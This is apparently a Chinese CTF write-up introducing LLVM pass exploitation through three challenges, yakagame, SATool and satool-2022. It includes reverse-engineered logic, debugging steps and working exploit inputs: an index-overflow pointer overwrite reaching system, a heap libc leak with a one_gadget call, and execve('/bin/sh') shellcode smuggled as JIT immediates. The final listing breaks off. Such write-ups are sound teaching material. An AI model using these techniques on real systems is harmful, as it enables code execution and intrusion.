llvm pass入门
都什么年代还在做传统 pwn 题,来通过几道题目来入门 llvm pass pwn
# llvm pass pwn 入门
都什么年代还在做传统 pwn 题,来通过几道题目来入门 llvm pass pwn
# 环境配置
ubuntu18
下安装 clang-8 环境
apt-get install -y clang++-8 libc++-8-dev libc++abi-8-dev
# yakagame
# 分析处理逻辑
对.so 文件进行逆向
得到函数名如下
gamestart
fight
merge
destroy
upgrade
wuxiangdeyidao
zhanjinniuza
guobapenhuo
tiandongwanxiang
一眼原,另外,在处理完这些函数之后,程序还对其他函数名的函数进行了处理,这里对其他函数的处理又涉及了另一个全局的数组 funMap
,说实话看到这里我有点懵,c++ 的我直接有点看不懂,没办法,看不懂的直接调试,这里先放着,先去看看其他函数
首先是 fight
函数
这里还是比较友好的,首先拿到一个参数作为 index,之后通过 index 从
weaponlist
拿到一个值,之后和boss
这个全局变量进行比较
如果拿出来的值扣去 boss 血量大于 0x12345678
时就执行后门,后面里边有 system
函数的调用
个人感觉通过正常流程执行到这个后门是有可能的
其次是 merge
函数
将两个参数当成 index ,作为
weaponlist
的索引实现 add 操作
然后是 destroy
函数
将参数当成 index ,作为
weaponlist
的索引实现置 0 操作
之后是 upgrade
函数
将
weaponlist
每个字节加上参数的值
最后是 原味
函数
一队四个人,还挺严谨,都是减去 boss 血量之后对 cmd 也就是后门的参数进行操作
看到这里,我个人的思路主要在于 merge
操作,这个操作里似乎看起来好像没有对 index 做限制,因此似乎可以随意修改全局变量的值??可以看到,这些全局变量都贴的比较近,有没有一种可能,可以通过 merge
对这些全局变量进行控制呢?
另外,还有最后一个处理流程是怎样的呢,带着这两个疑问,我们进入调试
# 调试与分析
首先写一个简单的测试把所有函数都用上尝试一下
void wuxiangdeyidao();
void zhanjinniuza();
void guobapenhuo();
void tiandongwanxiang();
void merge(int a,int b);
void destroy(int a);
void upgrade(int a);
void fight(int a);
void gamestart()
{
wuxiangdeyidao();
zhanjinniuza();
guobapenhuo();
tiandongwanxiang();
upgrade(0x50);
destroy(6);
merge(-1,0);
fight(1);
}
处理并运行一下
clang-8 -emit-llvm -S exp.c -o exp.ll
./opt-8 -load ./yaka.so -ayaka ./exp.ll
效果如下
这里的函数只有 upgrade
和 fight
有回显,也看不出什么来,有不得不调试的理由了呢
由于直接调试的是 opt 文件,因此要等.so 文件加载出来后才可以进行调试
先把 aslr
关了方便调试
echo 0 > /proc/sys/kernel/randomize_va_space
运行得到 yaka.so
的起始地址
程序还是要先进入 opt 的,首先将断点下在 main 函数,找到什么时候加载 yaka.so,之后将断点下在该位置,然后就可以在 yaka.so
里下断点了,这里直接在 yaka.so
的 fight
处理模块下断点
断点一 :0x4b8e0e
断点二 :0xCAD7+0x7ffff238e000
之后查看关键全局变量,注意看,测试的 merge (-1,0) 貌似没有操作,但是在 weaponlist
最后有个 0xa0,这个应该就是 merge
操作后的结果,-1 被处理成 0xff 了
负向溢出不行,正向溢出经尝试也不行,因此还是得看最后的函数处理
断点一 :0x4b8e0e
断点二 :0xD12E+0x7ffff238e000
随便写个函数
void wuxiangdeyidao();
void zhanjinniuza();
void guobapenhuo();
void tiandongwanxiang();
void merge(int a,int b);
void destroy(int a);
void upgrade(int a);
void fight(int a);
void aaaa(int a);
void bbbb(int a);
void gamestart()
{
aaaa(0);
bbbb(1);
}
神踏马居然过了,原来写啥样的都行,只要是 c 语言函数库以外的就行
但是貌似没用,现在的关键是如何进到下面对 weaponlist 有操作的分支
不过 c 嘉嘉的看起来真的是一坨,再调试一下,运行之后发现原本为空的 funMap
有了内容
再 continue 到下次运行到此处, funMap
内容已经有了更新,并且以某种链表的形式串了起来
那么可以猜测,程序遇到不认识的函数就会用 funMap
存起来
void wuxiangdeyidao();
void zhanjinniuza();
void guobapenhuo();
void tiandongwanxiang();
void merge(int a,int b);
void destroy(int a);
void upgrade(int a);
void fight(int a);
void aaaa(int a);
void bbbb(int a);
void gamestart()
{
aaaa(0);
bbbb(1);
aaaa(0);
aaaa(0);
}
更新一下脚本,再次运行,这样就大概弄清楚了,遇到不认识的函数,首先会查 funMap
表,如果里面有就进入 weaponlist
的操作流程,如果没有就存起来
接着进去看看 weaponlist
被赋值成了什么
断点二:0xD1C5+0x7ffff238e000
貌似是被赋值成为了函数里的参数,更新一下脚本
void wuxiangdeyidao();
void zhanjinniuza();
void guobapenhuo();
void tiandongwanxiang();
void merge(int a,int b);
void destroy(int a);
void upgrade(int a);
void fight(int a);
void aaaa(int a);
void bbbb(int a);
void gamestart()
{
aaaa(77);
bbbb(1);
aaaa(77);
bbbb(1);
aaaa(77);
fight(1);
}
再次断点调试,成功写入
但是貌似每个函数只能用一次?
之后发现,map 搜索到函数所用的次数就是 index,而这个 map 是通过函数名字符串来索引的,换句话说,插入 map 表的函数的位置就是调用时被写入的 index,也就是说,不是这个函数只能用一次,而是这个函数用几次效果都一样,都只能写到对应位置
# 攻击
我们再次回到那个循环,可以看到循环的这个 idx 仅仅是 char 类型
而 char 类型的范围是 -128 ~ +127
,因此只要 map 表足够长,循环足够多的次数,就可以实现负向溢出了,用 python 生成一下 0x100 个函数名,实现 -0x80 到 0xff 的控制
from pwn import *
import os
str1 = ''
for i in range(0x100):
str1 += 'void fun{0:03}'.format( i) + '(int a);\n'
str2 = ''
for i in range(0x100):
str2 += 'fun{0:03}'.format( i) + '(0);\n'
# print(str1)
print(str2)
我们再来看看关键的全局变量,这些实际上都是指针,怎么办呢,我们可以找个 sh
字符串来替换 cmd,可以看到, opt-8
程序没有开 pie,因此可以直接在这里找 sh 字符串
很经典的 fflush 函数
addr : 0x6efdad
最后是 score
,我们再回到 fight 这个地方,你会发现,就算是 loss 也会执行最后的判断,因此不是强迫症我们根本不需要管前面的玩意
再看下这个比较,把 score
里的东西作为 __int64 指针解析,那么我们只需要改一下指针的偏移,让他随便指向一个地址即可过检查了
这个时候又想到了 opt-8
这个程序,里面的 got
表他不就是指向了一个地址吗,我们随便弄一个过来用
addr : 0x77dfd8
写入成功
都到这里也不需要调了,攻击成功
脚本
void wuxiangdeyidao();
void zhanjinniuza();
void guobapenhuo();
void tiandongwanxiang();
void merge(int a,int b);
void destroy(int a);
void upgrade(int a);
void fight(int a);
void fun000(int a);
void fun001(int a);
void fun002(int a);
void fun003(int a);
void fun004(int a);
void fun005(int a);
void fun006(int a);
void fun007(int a);
void fun008(int a);
void fun009(int a);
void fun010(int a);
void fun011(int a);
void fun012(int a);
void fun013(int a);
void fun014(int a);
void fun015(int a);
void fun016(int a);
void fun017(int a);
void fun018(int a);
void fun019(int a);
void fun020(int a);
void fun021(int a);
void fun022(int a);
void fun023(int a);
void fun024(int a);
void fun025(int a);
void fun026(int a);
void fun027(int a);
void fun028(int a);
void fun029(int a);
void fun030(int a);
void fun031(int a);
void fun032(int a);
void fun033(int a);
void fun034(int a);
void fun035(int a);
void fun036(int a);
void fun037(int a);
void fun038(int a);
void fun039(int a);
void fun040(int a);
void fun041(int a);
void fun042(int a);
void fun043(int a);
void fun044(int a);
void fun045(int a);
void fun046(int a);
void fun047(int a);
void fun048(int a);
void fun049(int a);
void fun050(int a);
void fun051(int a);
void fun052(int a);
void fun053(int a);
void fun054(int a);
void fun055(int a);
void fun056(int a);
void fun057(int a);
void fun058(int a);
void fun059(int a);
void fun060(int a);
void fun061(int a);
void fun062(int a);
void fun063(int a);
void fun064(int a);
void fun065(int a);
void fun066(int a);
void fun067(int a);
void fun068(int a);
void fun069(int a);
void fun070(int a);
void fun071(int a);
void fun072(int a);
void fun073(int a);
void fun074(int a);
void fun075(int a);
void fun076(int a);
void fun077(int a);
void fun078(int a);
void fun079(int a);
void fun080(int a);
void fun081(int a);
void fun082(int a);
void fun083(int a);
void fun084(int a);
void fun085(int a);
void fun086(int a);
void fun087(int a);
void fun088(int a);
void fun089(int a);
void fun090(int a);
void fun091(int a);
void fun092(int a);
void fun093(int a);
void fun094(int a);
void fun095(int a);
void fun096(int a);
void fun097(int a);
void fun098(int a);
void fun099(int a);
void fun100(int a);
void fun101(int a);
void fun102(int a);
void fun103(int a);
void fun104(int a);
void fun105(int a);
void fun106(int a);
void fun107(int a);
void fun108(int a);
void fun109(int a);
void fun110(int a);
void fun111(int a);
void fun112(int a);
void fun113(int a);
void fun114(int a);
void fun115(int a);
void fun116(int a);
void fun117(int a);
void fun118(int a);
void fun119(int a);
void fun120(int a);
void fun121(int a);
void fun122(int a);
void fun123(int a);
void fun124(int a);
void fun125(int a);
void fun126(int a);
void fun127(int a);
void fun128(int a);
void fun129(int a);
void fun130(int a);
void fun131(int a);
void fun132(int a);
void fun133(int a);
void fun134(int a);
void fun135(int a);
void fun136(int a);
void fun137(int a);
void fun138(int a);
void fun139(int a);
void fun140(int a);
void fun141(int a);
void fun142(int a);
void fun143(int a);
void fun144(int a);
void fun145(int a);
void fun146(int a);
void fun147(int a);
void fun148(int a);
void fun149(int a);
void fun150(int a);
void fun151(int a);
void fun152(int a);
void fun153(int a);
void fun154(int a);
void fun155(int a);
void fun156(int a);
void fun157(int a);
void fun158(int a);
void fun159(int a);
void fun160(int a);
void fun161(int a);
void fun162(int a);
void fun163(int a);
void fun164(int a);
void fun165(int a);
void fun166(int a);
void fun167(int a);
void fun168(int a);
void fun169(int a);
void fun170(int a);
void fun171(int a);
void fun172(int a);
void fun173(int a);
void fun174(int a);
void fun175(int a);
void fun176(int a);
void fun177(int a);
void fun178(int a);
void fun179(int a);
void fun180(int a);
void fun181(int a);
void fun182(int a);
void fun183(int a);
void fun184(int a);
void fun185(int a);
void fun186(int a);
void fun187(int a);
void fun188(int a);
void fun189(int a);
void fun190(int a);
void fun191(int a);
void fun192(int a);
void fun193(int a);
void fun194(int a);
void fun195(int a);
void fun196(int a);
void fun197(int a);
void fun198(int a);
void fun199(int a);
void fun200(int a);
void fun201(int a);
void fun202(int a);
void fun203(int a);
void fun204(int a);
void fun205(int a);
void fun206(int a);
void fun207(int a);
void fun208(int a);
void fun209(int a);
void fun210(int a);
void fun211(int a);
void fun212(int a);
void fun213(int a);
void fun214(int a);
void fun215(int a);
void fun216(int a);
void fun217(int a);
void fun218(int a);
void fun219(int a);
void fun220(int a);
void fun221(int a);
void fun222(int a);
void fun223(int a);
void fun224(int a);
void fun225(int a);
void fun226(int a);
void fun227(int a);
void fun228(int a);
void fun229(int a);
void fun230(int a);
void fun231(int a);
void fun232(int a);
void fun233(int a);
void fun234(int a);
void fun235(int a);
void fun236(int a);
void fun237(int a);
void fun238(int a);
void fun239(int a);
void fun240(int a);
void fun241(int a);
void fun242(int a);
void fun243(int a);
void fun244(int a);
void fun245(int a);
void fun246(int a);
void fun247(int a);
void fun248(int a);
void fun249(int a);
void fun250(int a);
void fun251(int a);
void fun252(int a);
void fun253(int a);
void fun254(int a);
void fun255(int a);
void gamestart()
{
fun000(0);
fun001(0);
fun002(0);
fun003(0);
fun004(0);
fun005(0);
fun006(0);
fun007(0);
fun008(0);
fun009(0);
fun010(0);
fun011(0);
fun012(0);
fun013(0);
fun014(0);
fun015(0);
fun016(0);
fun017(0);
fun018(0);
fun019(0);
fun020(0);
fun021(0);
fun022(0);
fun023(0);
fun024(0);
fun025(0);
fun026(0);
fun027(0);
fun028(0);
fun029(0);
fun030(0);
fun031(0);
fun032(0);
fun033(0);
fun034(0);
fun035(0);
fun036(0);
fun037(0);
fun038(0);
fun039(0);
fun040(0);
fun041(0);
fun042(0);
fun043(0);
fun044(0);
fun045(0);
fun046(0);
fun047(0);
fun048(0);
fun049(0);
fun050(0);
fun051(0);
fun052(0);
fun053(0);
fun054(0);
fun055(0);
fun056(0);
fun057(0);
fun058(0);
fun059(0);
fun060(0);
fun061(0);
fun062(0);
fun063(0);
fun064(0);
fun065(0);
fun066(0);
fun067(0);
fun068(0);
fun069(0);
fun070(0);
fun071(0);
fun072(0);
fun073(0);
fun074(0);
fun075(0);
fun076(0);
fun077(0);
fun078(0);
fun079(0);
fun080(0);
fun081(0);
fun082(0);
fun083(0);
fun084(0);
fun085(0);
fun086(0);
fun087(0);
fun088(0);
fun089(0);
fun090(0);
fun091(0);
fun092(0);
fun093(0);
fun094(0);
fun095(0);
fun096(0);
fun097(0);
fun098(0);
fun099(0);
fun100(0);
fun101(0);
fun102(0);
fun103(0);
fun104(0);
fun105(0);
fun106(0);
fun107(0);
fun108(0);
fun109(0);
fun110(0);
fun111(0);
fun112(0);
fun113(0);
fun114(0);
fun115(0);
fun116(0);
fun117(0);
fun118(0);
fun119(0);
fun120(0);
fun121(0);
fun122(0);
fun123(0);
fun124(0);
fun125(0);
fun126(0);
fun127(0);
fun128(0);
fun129(0);
fun130(0);
fun131(0);
fun132(0);
fun133(0);
fun134(0);
fun135(0);
fun136(0);
fun137(0);
fun138(0);
fun139(0);
fun140(0);
fun141(0);
fun142(0);
fun143(0);
fun144(0);
fun145(0);
fun146(0);
fun147(0);
fun148(0);
fun149(0);
fun150(0);
fun151(0);
fun152(0);
fun153(0);
fun154(0);
fun155(0);
fun156(0);
fun157(0);
fun158(0);
fun159(0);
fun160(0);
fun161(0);
fun162(0);
fun163(0);
fun164(0);
fun165(0);
fun166(0);
fun167(0);
fun168(0);
fun169(0);
fun170(0);
fun171(0);
fun172(0);
fun173(0);
fun174(0);
fun175(0);
fun176(0);
fun177(0);
fun178(0);
fun179(0);
fun180(0);
fun181(0);
fun182(0);
fun183(0);
fun184(0);
fun185(0);
fun186(0);
fun187(0);
fun188(0);
fun189(0);
fun190(0);
fun191(0);
fun192(0);
fun193(0);
fun194(0);
fun195(0);
fun196(0);
fun197(0);
fun198(0);
fun199(0);
fun200(0);
fun201(0);
fun202(0);
fun203(0);
fun204(0);
fun205(0);
fun206(0);
fun207(0);
fun208(0);
fun209(0);
fun210(0);
fun211(0);
fun212(0);
fun213(0);
fun214(0);
fun215(0);
fun216(0);
fun217(0);
fun218(0);
fun219(0);
fun220(0);
fun221(0);
fun222(0);
fun223(0);
fun224(0);
fun225(0);
fun226(0);
fun227(0);
fun228(0);
fun229(0);
fun230(0);
fun231(0);
// -0x18
fun232(0xad);
fun233(0xfd);
fun234(0x6e);
fun235(0);
fun236(0);
fun237(0);
fun238(0);
fun239(0);
// -0x10
fun240(0xd8);
fun241(0xdf);
fun242(0x77);
fun243(0);
fun244(0);
fun245(0);
fun246(0);
fun247(0);
fun248(0);
fun249(0);
fun250(0);
fun251(0);
fun252(0);
fun253(0);
fun254(0);
fun255(0); // -1
fun232(0xad);
fun233(0xfd);
fun234(0x6e);
fun240(0xd8);
fun241(0xdf);
fun242(0x77);
fight(1);
}
# SATool
来自于 ciscn2021 初赛
# 分析处理逻辑
比起 yakagame 根本不能看,yakagame 至少还能勉强看明白,这个程序完全就是一坨,在里面摸了几个字符串如下
B4ckDo0r
save
takeaway
stealkey
fakekey
run
这个 run 一看就很可疑好吧(…,不过现在连函数有几个参数都不清楚,并且运行还没回显,连程序跑到哪里都不知道,再加上检查和处理逻辑全放一堆,导致静态非常地难看
# 调试与分析
opt 程序是一样的,第一个断点也可以一样
# save
先尝试一下一个参数的 save("deadbeef");
,然后断在 malloc
下面,为什么选字符串呢,因为我看到了个 memcpy ^^
断点一 :0x4b8e0e
断点二 :0x1CC2 + 0x7ffff23a0000
.text:0000000000001CB8 mov edi, 18h ; size
.text:0000000000001CBD call _malloc
.text:0000000000001CC2 mov rbx, rax
直接寄了
接下来有理由怀疑是两个字符串 save("deadbeef" ,"test");
,因为 memcpy 出现了两次 ^^,果然过了
# takeaway
下面就一个 free,有理由怀疑没有参数,直接试一下捏,我猜程序里有很多地方调用 free,直接断 free 应该不行
断点一 :0x4b8e0e
断点二 :0x1F4F + 0x7ffff23a0000
寄了
感觉是 free 前面一大坨检查没有过,把断点改上一点
断点二 :0x1E1E + 0x7ffff23a0000
还是不行,换一个字符串参数试试 takeaway("deadbeef");
可以了捏,还真 free 掉了,估计 save 的第一个参数就是 key 第二个参数就是 data (之类的
# stealkey
这个模块这么短,一看就不需要参数吧(
断点一 :0x4b8e0e
断点二 :0x1FFA+ 0x7ffff23a0000
果然
在这之后顺便看看全局变量,将里面的 key 以 8 字节解引用了一份出来
# fakekey
这个函数我是眼熟的 llvm::APInt::getSExtValue
参数是 Int 嘛
断点一 :0x4b8e0e
断点二 :0x2121+ 0x7ffff23a0000
看得出来这里就是把 key 加上了一个偏移再复制回去
执行这段前
执行这段后,果然已经加上了这个偏移
# run
最后就是逆大天的函数,run,这里貌似直接把 key 当成函数调用了
只能说出题人是懂 ctf 的
断点一 :0x4b8e0e
断点二 :0x21BC+ 0x7ffff23a0000
到这里直接 call,太棒了
那么我们只需要把这里改成 gadget 就行了,考虑到此时栈上一大堆地方是 0,甚至可以直接用 onegadget
,但是改成 onegadget
的话应当需要知道 libc 的基地址
# 攻击
再回头看看,可以看到程序通过堆来申请内存,之后通过 memcpy 来复制内容,这个 memcpy 的第三个参数不知道从哪里来的,有可能是获取参数时顺带获得的
首先我们看一下申请前的堆布局,这个时候申请 0x18 的块肯定会拿掉 fastbin 里的堆块,这样我们拿不到 libc 地址
那么我们直接申请两次,第二次 key 只给一个字符,下面的堆布局申请 0x18 肯定就会拿 libc 的地址了
执行后看看下面的 memcpy,可以看到只 cp 了俩字符,因此是可以拿到 libc 的
直接 save("" , "test");
试了下也可以
这样我们可以使用如下脚本
void save(char *a , char *b);
void takeaway(char *a);
void stealkey();
void fakekey(int a);
void run();
void B4ckDo0r()
{
save("deadbeef" , "test");
save("" , "test");
stealkey();
// fakekey(0x111);
run();
}
之后断在 stealkey 查看全局变量的内存,可以看到已经有 libc 地址了
接下来找个 ogg ,因为大部分肯定是满足的,我们随便找一个就行(经尝试第一个不行
ogg_offset:0x4f432
offset = - 0x39c87e
最后的脚本
void save(char *a , char *b);
void takeaway(char *a);
void stealkey();
void fakekey(int a);
void run();
void B4ckDo0r()
{
save("deadbeef" , "test");
save("" , "test");
stealkey();
fakekey(- 0x39c87e);
run();
}
成功调用 ogg
成功 getshell
# satool-2022
接下来这题更是重量级,但是比起上次国赛那题,已经工整很多了
ubuntu22
下安装 llvm-12
sudo apt install llvm-12
# 分析处理逻辑
进入 MBAPass::handle
函数进行分析
char *__fastcall `anonymous namespace'::MBAPass::handle(context *this, llvm::Function *a2)
{
/// ///
stop_addr = this->code + 0xFF0;
v29 = (llvm::BasicBlock *)llvm::Function::front(a2);
Terminator = (llvm::User *)llvm::BasicBlock::getTerminator(v29);
Operand = llvm::User::getOperand(Terminator, 0);
if ( (llvm::isa<llvm::Constant,llvm::Value *>(&Operand) & 1) != 0 )
{
this->number = 0;
v2 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(Operand);
number = llvm::ConstantInt::getSExtValue(v2);
`anonymous namespace'::MBAPass::writeMovImm64(this, 0, number);
return `anonymous namespace'::MBAPass::writeRet(this);
}
else if ( (llvm::isa<llvm::Argument,llvm::Value *>(&Operand) & 1) != 0 )
{
this->number = 1;
`anonymous namespace'::MBAPass::writeMovImm64(this, 0, 0LL);
return `anonymous namespace'::MBAPass::writeRet(this);
}
else
{
`anonymous namespace'::MBAPass::writeMovImm64(this, 0, 0LL);
this->number = 0;
std::stack<llvm::Value *>::stack<std::deque<llvm::Value *>,void>(op_stack);
std::stack<int>::stack<std::deque<int>,void>(num_stack);
std::stack<llvm::Value *>::push(op_stack, &Operand);
v24 = 1;
std::stack<int>::push(num_stack, &v24);
while ( this->pointer < stop_addr )
{
if ( !std::stack<llvm::Value *>::size(op_stack) )
{
`anonymous namespace'::MBAPass::writeRet(this);
break;
}
op = *(llvm **)std::stack<llvm::Value *>::top(op_stack);
std::stack<llvm::Value *>::pop(op_stack);
num = *(_DWORD *)std::stack<int>::top(num_stack);
std::stack<int>::pop(num_stack);
v5 = op;
opcode = (llvm *)llvm::dyn_cast<llvm::BinaryOperator,llvm::Value>(op);
if ( !opcode )
{
v6 = llvm::errs(v5);
v7 = llvm::raw_ostream::operator<<(v6, "Unsupported opcode: ");
v8 = llvm::operator<<(v7, op);
llvm::raw_ostream::operator<<(v8, "\n");
exit(-1);
}
if ( (unsigned int)llvm::BinaryOperator::getOpcode(opcode) != 13 )// add
{
v9 = opcode;
if ( (unsigned int)llvm::BinaryOperator::getOpcode(opcode) != 15 )// dec
{
v10 = llvm::errs(v9);
v15 = llvm::raw_ostream::operator<<(v10, "Unsupported opcode: ");
OpcodeName = llvm::Instruction::getOpcodeName(opcode);
v12 = llvm::raw_ostream::operator<<(v15, OpcodeName);
llvm::raw_ostream::operator<<(v12, "\n");
exit(-1);
}
}
tmp_1 = llvm::BinaryOperator::getOperand(opcode, 0);// add
tmp_2 = llvm::BinaryOperator::getOperand(opcode, 1u);
if ( (llvm::isa<llvm::Constant,llvm::Value *>(&tmp_1) & 1) != 0 )
{
v13 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(tmp_1);
sign = llvm::ConstantInt::getSExtValue(v13);
if ( sign == 1 || sign == -1 )
{
`anonymous namespace'::MBAPass::writeInc(this, sign * num);
}
else
{
`anonymous namespace'::MBAPass::writeMovImm64(this, 1, sign * num);
`anonymous namespace'::MBAPass::writeOpReg(this, 1);
}
}
else if ( (llvm::isa<llvm::Argument,llvm::Value *>(&tmp_1) & 1) != 0 )
{
this->number += num;
}
else
{
std::stack<llvm::Value *>::push(op_stack, &tmp_1);
std::stack<int>::push();
}
if ( (unsigned int)llvm::BinaryOperator::getOpcode(opcode) == 15 )// dec
num = -num;
if ( (llvm::isa<llvm::Constant,llvm::Value *>(&tmp_2) & 1) != 0 )
{
v14 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(tmp_2);
sign1 = llvm::ConstantInt::getSExtValue(v14);
if ( sign1 == 1 || sign1 == -1 )
{
`anonymous namespace'::MBAPass::writeInc(this, num);
}
else
{
`anonymous namespace'::MBAPass::writeMovImm64(this, 1, sign1 * num);
`anonymous namespace'::MBAPass::writeOpReg(this, 1);
}
}
else if ( (llvm::isa<llvm::Argument,llvm::Value *>(&tmp_2) & 1) != 0 )
{
this->number += num;
}
else
{
std::stack<llvm::Value *>::push(op_stack, &tmp_2);
std::stack<int>::push();
}
}
std::stack<int>::~stack();
return (char *)std::stack<llvm::Value *>::~stack(op_stack);
}
}
本来我还挺喜欢把 ida 反编译出来的屎来修复修复的,但是看着这坨 c 嘉嘉硬是提不起兴趣,这里其实就是通过栈来优化我们写的加减法代码,之后写进一块内存中,然后就开始执行这块地方,最后输出一坨优化后的代码
然后,其实程序中有一个很迷的操作,程序貌似将 code 字段复制了一份当成 pointer 指针,之后将将 code 字段 0xff0 偏移处当成了一个终止地址,每通过循环添加代码指针就增加,当指针增加到 code + 0xff0
处就停止
但是,实际上这里经不起推敲,下面代码有个很经典的溢出错误
当我们刚好满足条件后,再执行就会有溢出,之后就会在 code + 0xff0
外残留一段代码,那么第二次的 code 如果够长,刚好溢出并且没有将 ret 写进去
这时候如果这段代码里可以解析成跳转类指令,而在这之前有如这样的指令
add rax , xxxxxxxx
万一能刚好跳到立即数 xxxxxxxx 中,而这 xxxxxxxx 又刚好能作为 shellcode
解析,之后通过 jmp $+x
来进行跳转到另一个立即数里,就可以执行 shellcode
了捏
# 调试与分析
首先这题和前面两题不一样,没有踏马的函数名给你解析,只有自己照着给的 demo 去做
define dso_local i64 @test1(i64 %0) local_unnamed_addr #0 {
%2 = sub nsw i64 %0, 2
%3 = add nsw i64 %2, 68
%4 = add nsw i64 %0, 6
%5 = add nsw i64 %4, -204
%6 = add nsw i64 %5, %3
ret i64 %6
}
可以先跑一下这个 demo
跟预期结果一样,再试一下下面跑两次的
define dso_local i64 @test1(i64 %0) local_unnamed_addr #0 {
%2 = sub nsw i64 %0, 2
%3 = add nsw i64 %2, 68
%4 = add nsw i64 %0, 6
%5 = add nsw i64 %4, -204
%6 = add nsw i64 %5, %3
ret i64 %6
}
define dso_local i64 @test2(i64 %0) local_unnamed_addr #0 {
%2 = sub nsw i64 %0, 2
%3 = add nsw i64 %2, 11111
%4 = add nsw i64 %0, 2222
%5 = add nsw i64 %4, -111111111
%6 = add nsw i64 %5, %3
ret i64 %6
}
也是 ok 的
其实这题在我看来最关键的漏洞并不是那个溢出,而是没有初始化,其实无论是否溢出,如果没有最后的 ret 指令,那么 code 段还是会一直执行的,这样就可能执行到立即数解析出来的代码
这里如果立即数为 1 就会变成 INC 指令,结合不同于它长度的指令可以错位
这条命令占 3 字节,另一条占 13 字节
接下来尝试使用如下 exp,调试一下
define dso_local i64 @test1(i64 %0) local_unnamed_addr #0 {
%2 = add nsw i64 %0, 0
%3 = add nsw i64 %2, 43499
%4 = add nsw i64 %3, 43499
%5 = add nsw i64 %4, 43499
%6 = add nsw i64 %5, 43499
ret i64 %6
}
define dso_local i64 @test2(i64 %0) local_unnamed_addr #0 {
%2 = add nsw i64 %0, 1
ret i64 %2
}
断点
断点一:0x42fe64
断点二:0xF750 + 0x7fffefdc7000
可以看到第二次运行到这里执行的 shellcode 如下,可以看见 ret 下面还有一堆残留,只不过因为 ret 执行不到
接下来就构造溢出的字节
总长度 0xff0
我们总是想多溢出一些的,抛开前面的必写进去的两个字节,那么我们前面的长度最好凑成 0xfee ,最后一条指令的立即数刚好全部溢出去,调试发现前面会自动有一个 10 字节的命令
3*4 + 13*312 = 0xfee - 10
因此写 4 条 inc 312 条 add 就行
成功溢出成 0x1122334455667788
# 攻击
展开攻击,首先我们第一次可以溢出成可控的立即数,接着我们来进行第二次执行 shellcode 的编写
先不考虑 getshell 的问题,我们的长度也要刚好溢出并且写不进 ret 这样就会执行残留的 shellcode
3*9 + 13*311= 0xff0 - 10
运行后断到第二次 call shellcode
,果然没有写进 ret,并且已经把这个立即数当成 shellcode 执行了
接下来就是把这个立即数改成一个跳转指令 ,之后就可以跳到其他立即数中了每个立即数长 8 字节要分出 2 个字节来写跳转指令,所以每条指令长度不能超过 6,然后是 shellcode 的编写,首先是每次的跳转指令,因为要跳到下一个立即数段
每 13 字节的指令中
2 + 8 + 3
其中 8 字节为可控字节
因为是栈操作后指令会倒过来,第一次跳转应为负的 8+3=11
字节,之后的每一次跳转应为负的 8+2+3+8-2=19
字节,成功实现跳转
这题的核心在于构造 shellcode,而构造 shellcode 的核心在于 binsh 字符串,我认为可以使用 mov edi,xxx
之类的指令,可以减少长度,之后用寄存器左移指令移动到寄存器的高位,这样就可以写出如下 shellcode
mov edi , 0x68732f
shl rdi , 32
mov esi , 0x6e69622f
add rdi , rsi
push rdi
mov rdi , rsp
xor rsi , rsi
xor rdx , rdx
mov eax , 0x3B
syscall
写一个 py 脚本生成一下立即数
from pwn import *
context.update( os = 'linux', arch = 'amd64',timeout = 1)
# for i in range(408):
# print('%{} = add nsw i64 %{}, 43499'.format(i+1,i))
# for i in range(999):
# for j in range(999):
# if (3*i + j*13 ==(0xff0-10)):
# print(i,j)
shellcode = [
'mov edi , 0x68732f',
'shl rdi , 32',
'mov esi , 0x6e69622f',
'add rdi , rsi',
'push rdi',
'mov rdi , rsp',
'xor rsi , rsi',
'xor rdx , rdx',
'mov eax , 0x3B',
'syscall'
]
for i in shellcode:
print( u64(asm(i).ljust(6 , '\x90') + asm("jmp $-19")) )
运行优化 exp 可以 getshell
最后的 exp.ll
文件
define dso_local i64 @test1(i64 %0) local_unnamed_addr #0 {
%2 = add nsw i64 %0, 62443
%3 = add nsw i64 %2, 43499
%4 = add nsw i64 %3, 43499
%5 = add nsw i64 %4, 43499
%6 = add nsw i64 %5, 43499
%7 = add nsw i64 %6, 43499
%8 = add nsw i64 %7, 43499
%9 = add nsw i64 %8, 43499
%10 = add nsw i64 %9, 43499
%11 = add nsw i64 %10, 43499
%12 = add nsw i64 %11, 43499
%13 = add nsw i64 %12, 43499
%14 = add nsw i64 %13, 43499
%15 = add nsw i64 %14, 43499
%16 = add nsw i64 %15, 43499
%17 = add nsw i64 %16, 43499
%18 = add nsw i64 %17, 43499
%19 = add nsw i64 %18, 43499
%20 = add nsw i64 %19, 43499
%21 = add nsw i64 %20, 43499
%22 = add nsw i64 %21, 43499
%23 = add nsw i64 %22, 43499
%24 = add nsw i64 %23, 43499
%25 = add nsw i64 %24, 43499
%26 = add nsw i64 %25, 43499
%27 = add nsw i64 %26, 43499
%28 = add nsw i64 %27, 43499
%29 = add nsw i64 %28, 43499
%30 = add nsw i64 %29, 43499
%31 = add nsw i64 %30, 43499
%32 = add nsw i64 %31, 43499
%33 = add nsw i64 %32, 43499
%34 = add nsw i64 %33, 43499
%35 = add nsw i64 %34, 43499
%36 = add nsw i64 %35, 43499
%37 = add nsw i64 %36, 43499
%38 = add nsw i64 %37, 43499
%39 = add nsw i64 %38, 43499
%40 = add nsw i64 %39, 43499
%41 = add nsw i64 %40, 43499
%42 = add nsw i64 %41, 43499
%43 = add nsw i64 %42, 43499
%44 = add nsw i64 %43, 43499
%45 = add nsw i64 %44, 43499
%46 = add nsw i64 %45, 43499
%47 = add nsw i64 %46, 43499
%48 = add nsw i64 %47, 43499
%49 = add nsw i64 %48, 43499
%50 = add nsw i64 %49, 43499
%51 = add nsw i64 %50, 43499
%52 = add nsw i64 %51, 43499
%53 = add nsw i64 %52, 43499
%54 = add nsw i64 %53, 43499
%55 = add nsw i64 %54, 43499
%56 = add nsw i64 %55, 43499
%57 = add nsw i64 %56, 43499
%58 = add nsw i64 %57, 43499
%59 = add nsw i64 %58, 43499
%60 = add nsw i64 %59, 43499
%61 = add nsw i64 %60, 43499
%62 = add nsw i64 %61, 43499
%63 = add nsw i64 %62, 43499
%64 = add nsw i64 %63, 43499
%65 = add nsw i64 %64, 43499
%66 = add nsw i64 %65, 43499
%67 = add nsw i64 %66, 43499
%68 = add nsw i64 %67, 43499
%69 = add nsw i64 %68, 43499
%70 = add nsw i64 %69, 43499
